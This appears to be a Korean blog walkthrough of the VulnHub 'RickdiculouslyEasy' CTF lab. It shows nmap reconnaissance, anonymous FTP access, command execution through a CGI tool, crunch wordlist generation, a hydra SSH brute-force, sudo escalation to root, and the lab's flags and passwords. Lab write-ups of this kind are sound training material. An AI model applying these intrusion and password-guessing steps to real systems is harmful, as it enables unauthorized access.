https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/
RickdiculouslyEasy: 1
This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.
www.vulnhub.com
Reconnaissance
└─$ sudo nmap -sn 192.168.45.0/24
Nmap scan report for 192.168.45.162
Host is up (0.00033s latency).
MAC Address: 08:00:27:7C:D7:E8 (Oracle VirtualBox virtual NIC)
굉장히 독특한 결과의 포트스캐닝입니다
아 그리고 플래그도 중간에 껴있네요!!
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port22-TCP:V=7.94SVN%I=7%D=7/16%Time=66962895%P=x86_64-pc-linux-gnu%r(N
SF:ULL,42,"Welcome\x20to\x20Ubuntu\x2014\.04\.5\x20LTS\x20\(GNU/Linux\x204
SF:\.4\.0-31-generic\x20x86_64\)\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port13337-TCP:V=7.94SVN%I=7%D=7/16%Time=66962895%P=x86_64-pc-linux-gnu%
SF:r(NULL,29,"FLAG:{TheyFoundMyBackDoorMorty}-10Points\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port60000-TCP:V=7.94SVN%I=7%D=7/16%Time=6696289B%P=x86_64-pc-linux-gnu%
SF:r(NULL,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x20reverse\x20shell\
SF:.\.\.\n#\x20")%r(ibm-db2,2F,"Welcome\x20to\x20Ricks\x20half\x20baked\x2
SF:0reverse\x20shell\.\.\.\n#\x20");그리고 뭔가,, 수상한 포트와 거기에 서비스가 돌아가고 있는거 같죠??
참 이 ctf에서는 130포인트를 획득 할 수 있는 플래그들이 있다고 합니다
그리고 nc 명령어를 이용해서 접근하면 뭔가 되려나요~~
관리자 권한을 가진 리버스쉘도 있네요 다른 작업은 할 수 없으나, 플래그는 획득했습니다.
20/130
FTP
anonymous login allowed
그냥 플래그만 있네요
└─$ cat FLAG.txt
FLAG{Whoa this is unexpected} - 10 Points30/130
이후 별다른 특이사항 없음
SSH
22번 포트로는 접속이 불가능하고 열려있는 또다른 SSH 22222번 포트를 활용해서 대상 호스트에 접근이 가능합니다
Vulnerability
HTTP(80, 9090)
TRACE methods
gobuster 툴을 이용해 디렉터리 브루트포싱을 진행합니다
/robotst.txt
They're Robots Morty! It's ok to shoot them! They're just Robots!
/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*
Remote Code Execution이 가능할 듯한 느낌입니다.
Exploitation
가능하네요
/etc/passwd 파일을 확인하니 고양이가 나옵니다 cat을 사용해서 고양이가 나오나보네요 그럼 more로 갑니다
40/130
Username: RickSanchez,Morty,Summer
Password: winter
9090포트로 접근해봅니다
50/130
얻은 비밀번호를 넣어보려고 했는데 username 에서 안넘어가져서 활용할 수 있는 ftp로 접근해볼까요?
# Credentials
Summer:winter
└─$ cat FLAG.txt
FLAG{Get off the high road Summer!} - 10 Points60/130
SSH 접근도 해봅니다
Post-Exploitation
이놈의 고양이,,,, 이 플래그는 ftp에서 발견한 플래그죠??
[Summer@localhost home]$ ls
Morty RickSanchez Summer
[Summer@localhost home]$ cd Morty/
[Summer@localhost Morty]$ ls
journal.txt.zip Safe_Password.jpg
[Summer@localhost Morty]$ cp * ~
[Summer@localhost Morty]$ ls -al ~
total 68
drwx------. 2 Summer Summer 147 Jul 16 18:49 .
drwxr-xr-x. 5 root root 52 Aug 18 2017 ..
-rw-------. 1 Summer Summer 1 Sep 15 2017 .bash_history
-rw-r--r--. 1 Summer Summer 18 May 30 2017 .bash_logout
-rw-r--r--. 1 Summer Summer 193 May 30 2017 .bash_profile
-rw-r--r--. 1 Summer Summer 231 May 30 2017 .bashrc
-rw-rw-r--. 1 Summer Summer 48 Aug 22 2017 FLAG.txt
-rw-r--r--. 1 Summer Summer 414 Jul 16 18:49 journal.txt.zip
-rw-r--r--. 1 Summer Summer 43145 Jul 16 18:49 Safe_Password.jpg
[Summer@localhost RickSanchez]$ cp -r * ~
[Summer@localhost RickSanchez]$ ls -al ~
total 68
drwx------. 4 Summer Summer 198 Jul 16 18:50 .
drwxr-xr-x. 5 root root 52 Aug 18 2017 ..
-rw-------. 1 Summer Summer 1 Sep 15 2017 .bash_history
-rw-r--r--. 1 Summer Summer 18 May 30 2017 .bash_logout
-rw-r--r--. 1 Summer Summer 193 May 30 2017 .bash_profile
-rw-r--r--. 1 Summer Summer 231 May 30 2017 .bashrc
-rw-rw-r--. 1 Summer Summer 48 Aug 22 2017 FLAG.txt
-rw-r--r--. 1 Summer Summer 414 Jul 16 18:49 journal.txt.zip
drwxr-xr-x. 2 Summer Summer 18 Jul 16 18:50 RICKS_SAFE
-rw-r--r--. 1 Summer Summer 43145 Jul 16 18:49 Safe_Password.jpg
drwxrwxr-x. 2 Summer Summer 26 Jul 16 18:50 ThisDoesntContainAnyFlags
[Summer@localhost RICKS_SAFE]$ ls
safe
[Summer@localhost RICKS_SAFE]$ file safe
safe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6788eee358d9e51e369472b52e684b7d6da7f1ce, not stripped
[Summer@localhost ThisDoesntContainAnyFlags]$ more NotAFlag.txt
hhHHAaaaAAGgGAh. You totally fell for it... Classiiiigihhic.
But seriously this isn't a flag..
# Web Server Open
[Summer@localhost ~]$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
일단 활용할 수 있는 모든 파일을 가져왔습니다
└─$ unzip journal.txt.zip
Archive: journal.txt.zip
[journal.txt.zip] journal.txt password:winter는 실패했습니다
└─$ strings Safe_Password.jpg
JFIF
Exif
8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek
8BIM
8BIM
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
journal.txt: Meeseek
└─$ cat journal.txt
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe?
Anyway. Here it is:
FLAG: {131333} - 20 Points80/130
└─$ chmod +x safe
└─$ ./safe
Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE AAAAAHHAHAGGGGRRGUMENTS!커맨드 라인을 사용해라...
strings으로도 확인해보니 decrypt 해주는 프로그램인거같아 131333을 넣으니 플래그와 릭의 비밀번호 힌트 획득
100/130
근데 무슨,,,,,릭의 오래된 밴드 이름..?
구글링을 하니 Flesh Curtains 이것을 대문자 하나, 숫자 하나로 변환해야한다
crunch 툴을 이용하여 대문자 하나, 숫자 하나를 넣은 무작위 단어를 만든 후에 무작위 생성된 두 단어를 합쳐 hydra를 이용해 비밀번호 스프레잉 공격을 진행해보겠습니다
└─$ crunch 7 7 -t ,%Flesh -o ./flesh.txt
Crunch will now generate the following amount of data: 2080 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ crunch 10 10 -t ,%Curtains -o ./curtains.txt
Crunch will now generate the following amount of data: 2860 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
crunch: 100% completed generating output
┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ cat flesh.txt > passwd.txt
┌──(kali㉿kali)-[~/vulnhub/rick]
└─$ cat curtains.txt >> passwd.txt
비밀번호 스프레잉 공격 진행합니다
└─$ hydra -l RickSanchez -P ./passwd.txt ssh://192.168.45.162 -s 22222
RickSanchez:P7Curtains
RickSanchez 유저 장악 완료
Privilege Escalation
생각해보니 sudo로 모든 것이 가능한 wheel 유저군요
관리자 권한 까지 획득 완료했습니다.
관리자 권한에 가장 가까운 유저는 Rick 이었네요!!
[root@localhost ~]# more FLAG.txt
FLAG: {Ionic Defibrillator} - 30 points
130/130
모든 플래그 획득 완료했고, 관리자 권한까지 획득하여, 대상 호스트를 장악 완료했습니다.
'Vulnhub' 카테고리의 다른 글
| [Vulnhub] Brearch Walkthrough (6) | 2024.07.22 |
|---|---|
| [Vulnhub] Tommy Boy Walkthrough (4) | 2024.07.17 |
| [Vulnhub] DerpNStink Walkthrough (1) | 2024.07.15 |
| [Vulnhub] EVM Walkthrough (0) | 2024.07.12 |
| [Vulnhub] djinn Walkthrough (0) | 2024.07.11 |